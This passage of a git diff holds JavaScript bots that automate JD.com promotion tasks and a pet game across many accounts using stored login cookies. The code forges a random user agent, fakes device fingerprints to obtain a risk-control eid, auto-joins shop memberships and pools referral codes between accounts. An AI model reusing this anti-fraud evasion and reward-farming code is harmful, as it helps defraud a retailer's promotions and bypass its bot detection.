"gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${flag == 1 && $.taskInfo.rewardFinish || $.oneTask.rewardQuantity}京豆`) + $.bean += Number($.oneTask.rewardQuantity) + }else{ + console.log(`${res.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function statistic(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/data/statistic`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + if(data.result && data.result.giftInfo){ + for(let i of data.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + headers: { + "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + let arr = await Faker.getBody($.UA,'https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html') + $.fp = arr.fp + await getEid(arr) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_pet.js b/jd_pet.js new file mode 100644 index 0000000..636ed8c --- /dev/null +++ b/jd_pet.js @@ -0,0 +1,1062 @@ +/* +东东萌宠 更新地址: jd_pet.js +更新时间:2021-05-21 +活动入口:京东APP我的-更多工具-东东萌宠 +已支持IOS多京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助5个人。多出的助力码无效 + +=================================Quantumultx========================= +[task_local] +#东东萌宠 +15 6-18/6 * * * jd_pet.js, tag=东东萌宠, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdmc.png, enabled=true + +=================================Loon=================================== +[Script] +cron "15 6-18/6 * * *" script-path=jd_pet.js,tag=东东萌宠 + +===================================Surge================================ +东东萌宠 = type=cron,cronexp="15 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_pet.js + +====================================小火箭============================= +东东萌宠 = type=cron,script-path=jd_pet.js, cronexpr="15 6-18/6 * * *", timeout=3600, enable=true + + */ +const $ = new Env('东东萌宠互助版'); +let cookiesArr = [], cookie = '', jdPetShareArr = [], isBox = false, allMessage = ''; +let message = '', subTitle = '', option = {}; +let jdNotify = false; //是否关闭通知,false打开通知推送,true关闭通知推送 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let goodsUrl = '', taskInfoKey = []; +let notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let newShareCodes = []; +let NoNeedCodes = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +let NowHour = new Date().getHours(); +let llhelp=true; +if ($.isNode() && process.env.CC_NOHELPAFTER8) { + console.log(NowHour); + if (process.env.CC_NOHELPAFTER8=="true"){ + if (NowHour>8){ + llhelp=false; + console.log(`现在是9点后时段,不启用互助....`); + } + } +} + +console.log(`共${cookiesArr.length}个京东账号\n`); + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + if (llhelp){ + console.log('开始收集您的互助码,用于账号内部互助,请稍等...'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue; + } + message = ''; + subTitle = ''; + goodsUrl = ''; + taskInfoKey = []; + option = {}; + await GetShareCode(); + } + } + console.log('\n互助码收集完毕,开始执行日常任务...\n'); + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue; + } + message = ''; + subTitle = ''; + goodsUrl = ''; + taskInfoKey = []; + option = {}; + await jdPet(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) +async function jdPet() { + try { + //查询jd宠物信息 + const initPetTownRes = await request('initPetTown'); + message = `【京东账号${$.index}】${$.nickName || $.UserName}\n`; + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + await slaveHelp(); //助力好友 + $.log($.name, '', `【提示】京东账号${$.index}${$.nickName || $.UserName}\n萌宠活动未开启\n请手动去京东APP开启活动\n入口:我的->游戏与互动->查看更多开启`); + return + } + if (!$.petInfo.goodsInfo) { + $.msg($.name, '', `【提示】京东账号${$.index}${$.nickName || $.UserName}\n暂未选购新的商品`, { + "open-url": "openapp.jdmoble://" + }); + if ($.isNode()) + await notify.sendNotify(`${$.name} - ${$.index} - ${$.nickName || $.UserName}`, `【提示】京东账号${$.index}${$.nickName || $.UserName}\n暂未选购新的商品`); + return + } + goodsUrl = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsUrl; + // option['media-url'] = goodsUrl; + // console.log(`初始化萌宠信息完成: ${JSON.stringify(petInfo)}`); + if ($.petInfo.petStatus === 5) { + await slaveHelp(); //可以兑换而没有去兑换,也能继续助力好友 + option['open-url'] = "openApp.jdMobile://"; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.petInfo.goodsInfo.goodsName}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.petInfo.goodsInfo.goodsName}已可领取`); + } + return + } else if ($.petInfo.petStatus === 6) { + await slaveHelp(); //已领取红包,但未领养新的,也能继续助力好友 + option['open-url'] = "openApp.jdMobile://"; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】已领取红包,但未继续领养新的物品\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n已领取红包,但未继续领养新的物品`); + } + return + } + //console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.petInfo.shareCode}\n`); + await taskInit(); + if ($.taskInit.resultCode === '9999' || !$.taskInit.result) { + console.log('初始化任务异常, 请稍后再试'); + return + } + $.taskInfo = $.taskInit.result; + + await petSport(); //遛弯 + if (llhelp){ + await slaveHelp(); //助力好友 + } + await masterHelpInit(); //获取助力的信息 + await doTask(); //做日常任务 + await feedPetsAgain(); //再次投食 + await energyCollect(); //收集好感度 + await showMsg(); + + } else if (initPetTownRes.code === '0') { + console.log(`初始化萌宠失败: ${initPetTownRes.message}`); + } + } catch (e) { + $.logErr(e) + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) + await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } +} + +async function GetShareCode() { + try { + //查询jd宠物信息 + const initPetTownRes = await request('initPetTown'); + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus == 0 || $.petInfo.petStatus == 5 || $.petInfo.petStatus == 6 || !$.petInfo.goodsInfo) { + console.log(`【京东账号${$.index}(${$.UserName})的互助码】\n宠物状态不能被助力,跳过...`); + return; + } + console.log(`【京东账号${$.index}(${$.UserName})的互助码】\n${$.petInfo.shareCode}`); + newShareCodes.push($.petInfo.shareCode); + } + } catch (e) { + $.logErr(e) + const errMsg = `【京东账号${$.index} ${$.nickName || $.UserName}】\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) + await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`); + } +} + +// 收取所有好感度 +async function energyCollect() { + console.log('开始收取任务奖励好感度'); + let function_id = arguments.callee.name.toString(); + const response = await request(function_id); + // console.log(`收取任务奖励好感度完成:${JSON.stringify(response)}`); + if (response.resultCode === '0') { + message += `【第${response.result.medalNum + 1}块勋章完成进度】${response.result.medalPercent}%,还需收集${response.result.needCollectEnergy}好感\n`; + message += `【已获得勋章】${response.result.medalNum}块,还需收集${response.result.needCollectMedalNum}块即可兑换奖品“${$.petInfo.goodsInfo.goodsName}”\n`; + } +} +//再次投食 +async function feedPetsAgain() { + const response = await request('initPetTown'); //再次初始化萌宠 + if (response.code === '0' && response.resultCode === '0' && response.message === 'success') { + $.petInfo = response.result; + let foodAmount = $.petInfo.foodAmount; //剩余狗粮 + if (foodAmount - 100 >= 10) { + for (let i = 0; i < parseInt((foodAmount - 100) / 10); i++) { + const feedPetRes = await request('feedPets'); + console.log(`投食feedPetRes`); + if (feedPetRes.resultCode == 0 && feedPetRes.code == 0) { + console.log('投食成功') + } + } + const response2 = await request('initPetTown'); + $.petInfo = response2.result; + subTitle = $.petInfo.goodsInfo.goodsName; + // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`; + // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`; + } else { + console.log("目前剩余狗粮:【" + foodAmount + "】g,不再继续投食,保留部分狗粮用于完成第二天任务"); + subTitle = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsName; + // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`; + // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`; + } + } else { + console.log(`初始化萌宠失败: ${JSON.stringify($.petInfo)}`); + } +} + +async function doTask() { + const { + signInit, + threeMealInit, + firstFeedInit, + feedReachInit, + inviteFriendsInit, + browseShopsInit, + taskList + } = $.taskInfo; + for (let item of taskList) { + if ($.taskInfo[item].finished) { + console.log(`任务 ${item} 已完成`) + } + } + //每日签到 + if (signInit && !signInit.finished) { + await signInitFun(); + } + // 首次喂食 + if (firstFeedInit && !firstFeedInit.finished) { + await firstFeedInitFun(); + } + // 三餐 + if (threeMealInit && !threeMealInit.finished) { + if (threeMealInit.timeRange === -1) { + console.log(`未到三餐时间`); + } else { + await threeMealInitFun(); + } + } + if (browseShopsInit && !browseShopsInit.finished) { + await browseShopsInitFun(); + } + let browseSingleShopInitList = []; + taskList.map((item) => { + if (item.indexOf('browseSingleShopInit') > -1) { + browseSingleShopInitList.push(item); + } + }); + // 去逛逛好货会场 + for (let item of browseSingleShopInitList) { + const browseSingleShopInitTask = $.taskInfo[item]; + if (browseSingleShopInitTask && !browseSingleShopInitTask.finished) { + await browseSingleShopInit(browseSingleShopInitTask); + } + } + if (inviteFriendsInit && !inviteFriendsInit.finished) { + await inviteFriendsInitFun(); + } + // 投食10次 + if (feedReachInit && !feedReachInit.finished) { + await feedReachInitFun(); + } +} +// 好友助力信息 +async function masterHelpInit() { + let res = await request(arguments.callee.name.toString()); + // console.log(`助力信息: ${JSON.stringify(res)}`); + if (res.code === '0' && res.resultCode === '0') { + if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length >= 5) { + if (!res.result.addedBonusFlag) { + console.log("开始领取额外奖励"); + let getHelpAddedBonusResult = await request('getHelpAddedBonus'); + if (getHelpAddedBonusResult.resultCode === '0') { + message += `【额外奖励${getHelpAddedBonusResult.result.reward}领取】${getHelpAddedBonusResult.message}\n`; + } + console.log(`领取30g额外奖励结果:【${getHelpAddedBonusResult.message}】`); + } else { + console.log("已经领取过5好友助力额外奖励"); + message += `【额外奖励】已领取\n`; + } + } else { + console.log("助力好友未达到5个") + message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; + } + if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length > 0) { + console.log('帮您助力的好友的名单开始') + let str = ''; + res.result.masterHelpPeoples.map((item, index) => { + if (index === (res.result.masterHelpPeoples.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + }) + message += `【助力您的好友】${str}\n`; + } + } +} +/** + * 助力好友, 暂时支持一个好友, 需要拿到shareCode + * shareCode为你要助力的好友的 + * 运行脚本时你自己的shareCode会在控制台输出, 可以将其分享给他人 + */ +async function slaveHelp() { + let helpPeoples = ''; + for (let code of newShareCodes) { + if(NoNeedCodes){ + var llnoneed=false; + for (let NoNeedCode of NoNeedCodes) { + if (code==NoNeedCode){ + llnoneed=true; + break; + } + } + if(llnoneed){ + console.log(`${code}助力已满,跳过...`); + continue; + } + } + console.log(`开始助力京东账号${$.index} - ${$.nickName || $.UserName}的好友: ${code}`); + if (!code) + continue; + let response = await request(arguments.callee.name.toString(), { + 'shareCode': code + }); + if (response.code === '0' && response.resultCode === '0') { + if (response.result.helpStatus === 0) { + console.log('已给好友: 【' + response.result.masterNickName + '】助力成功'); + helpPeoples += response.result.masterNickName + ','; + } else if (response.result.helpStatus === 1) { + // 您今日已无助力机会 + console.log(`助力好友${response.result.masterNickName}失败,您今日已无助力机会`); + break; + } else if (response.result.helpStatus === 2) { + //该好友已满5人助力,无需您再次助力 + NoNeedCodes.push(code); + console.log(`该好友${response.result.masterNickName}已满5人助力,无需您再次助力`); + } else { + console.log(`助力其他情况:${JSON.stringify(response)}`); + } + } else { + if(response.message=="已经助过力"){ + console.log(`此账号今天已经跑过助力了,跳出....`); + break; + }else{ + console.log(`助力好友结果: ${response.message}`); + } + + } + } + if (helpPeoples && helpPeoples.length > 0) { + message += `【您助力的好友】${helpPeoples.substr(0, helpPeoples.length - 1)}\n`; + } +} +// 遛狗, 每天次数上限10次, 随机给狗粮, 每次遛狗结束需调用getSportReward领取奖励, 才能进行下一次遛狗 +async function petSport() { + console.log('开始遛弯'); + let times = 1 + const code = 0 + let resultCode = 0 + do { + let response = await request(arguments.callee.name.toString()) + console.log(`第${times}次遛狗完成: ${JSON.stringify(response)}`); + resultCode = response.resultCode; + if (resultCode == 0) { + let sportRevardResult = await request('getSportReward'); + console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`); + } + times++; + } while (resultCode == 0 && code == 0) + if (times > 1) { + // message += '【十次遛狗】已完成\n'; + } +} +// 初始化任务, 可查询任务完成情况 +async function taskInit() { + console.log('开始任务初始化'); + $.taskInit = await request(arguments.callee.name.toString(), { + "version": 1 + }); +} +// 每日签到, 